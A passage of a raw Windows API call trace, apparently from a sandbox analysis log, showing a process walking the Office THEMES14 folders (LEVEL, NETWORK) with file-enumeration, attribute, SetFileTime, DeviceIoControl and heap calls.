ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0242.272] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.272] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.272] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.272] GetLastError () returned 0x12 [0242.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x917958) returned 1 [0242.272] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x917850) returned 1 [0242.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.272] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0242.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.272] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.274] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.274] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x919268 [0242.274] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x919268, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x919268, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.274] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x919268) returned 1 [0242.274] NtClose (Handle=0x1b0) returned 0x0 [0242.274] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.274] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.274] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.274] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.275] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.275] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.275] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913820 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917850 [0242.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.275] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913840 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x917958 [0242.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.275] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913860 [0242.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919280 [0242.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.276] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913880 [0242.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919388 [0242.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.276] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.276] GetLastError () returned 0x12 [0242.276] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.276] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.276] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.276] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0242.276] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0242.276] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.276] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.277] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.277] GetLastError () returned 0x12 [0242.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.277] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.277] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0242.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.277] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.278] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91b268 [0242.278] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91b268, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91b268, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b268) returned 1 [0242.278] NtClose (Handle=0x1bc) returned 0x0 [0242.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919490 [0242.278] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.279] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.279] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x919598 [0242.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9138a0 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9196a0 [0242.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.279] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9138c0 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9197a8 [0242.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.279] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9138e0 [0242.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9198b0 [0242.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.280] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913900 [0242.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9199b8 [0242.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.280] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.280] GetLastError () returned 0x12 [0242.280] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.280] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 